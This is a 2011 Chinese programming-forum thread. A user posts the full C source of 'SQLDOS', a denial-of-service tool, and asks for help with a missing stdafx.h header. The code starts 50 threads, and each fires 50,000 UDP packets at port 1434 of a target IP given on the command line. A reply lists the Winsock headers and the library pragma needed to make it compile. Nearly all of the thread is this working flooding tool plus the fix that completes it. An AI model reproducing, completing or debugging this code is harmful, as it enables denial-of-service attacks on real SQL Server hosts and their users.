| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 477 人关注过本帖
标题:关于"stdafx.h"的问题,求空闲人士及高手帮我看看
只看楼主 加入收藏
左郭嘉右赵云
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2011-8-1
结帖率:0
收藏
已结贴  问题点数:20 回复次数:1 
关于"stdafx.h"的问题,求空闲人士及高手帮我看看
我引用的别人这个C语言程序,但编译时说不能加载"stdafx.h",我知道这个头文件是预编译头文件的意思,但是在我的include文件夹里没有写这个头文件,这个估计是编程人他自己写的,麻烦大家帮我看看这个"stdafx.h"有哪些头文件,麻烦帮我写一个"stdafx.h"或者帮我列出程序里还没有写出的头文件,我自己加载进去就是了,源代码如下:这个C
// SQLDOS.cpp  
 

#include "stdafx.h"  
#include <string.h>  
#include <stdio.h>  

void sendudp (void* v)  
{  
int i;  
char buf[1]={’\x02’};  
SOCKADDR_IN addr_in;  
char *targetip;  
targetip=(char*)v;  

SOCKET sock;  

if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)  
{  
printf("Socket failed.Error:%d\n",WSAGetLastError());  
return;  
}  

const int SNDBUF = 0;  
const int TCPNODELAY = true;  
const int BROADCAST = true;  

if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)  
{  
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());  
return;  
}  
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)  
{  
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());  
return;  
}  
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)  
{  
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());  
return;  
}  

addr_in.sin_family=AF_INET;  
addr_in.sin_port=htons(1434);  
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);  

for (i=1;i<50000;i++)  
//发送50000次请求  
{  
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)  
{  
printf("Send failed.Error:%d\n",WSAGetLastError());  
return;  
}  
}  
closesocket(sock);  
}  

void useage()  
{  
printf("******************************************\n");  
printf("SQLDOS\n");  
printf("Useage: SQLDOS.exe target_ip \n");  
printf("*******************************************\n");  
}  

int main(int argc, char* argv[])  
{  
WSADATA WSAData;  
int i;  
useage();  
if (argc<2)  
{  
return false;  
}  

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)  
{  
printf("WSAStartup error.Error:%d\n",WSAGetLastError());  
return false;  
}  
printf("SQLDOS start...");  

for (i=1;i<=50;i++)  
{  
_beginthread(sendudp, 0, (void*)argv[1]);  
}  

Sleep(500000);  
WSACleanup();  
printf("SQLDOS Complete.\n");  
return 0;  
}
搜索更多相关主题的帖子: 文件夹 编程 include 源代码 C语言 
2011-10-29 13:34
longlong89
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:广州
等 级:小飞侠
威 望:6
帖 子:1043
专家分:2754
注 册:2009-8-18
收藏
得分:20 
不用管那个stdafx.h
看你代码 其中你需要自己添加包含如下头文件:
winsock2.h
windows.h
process.h
再在开头加句#pragma comment(lib,"ws2_32")
按顺序来

想象力征服世界
2011-10-29 19:34
快速回复:关于"stdafx.h"的问题,求空闲人士及高手帮我看看
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.011215 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved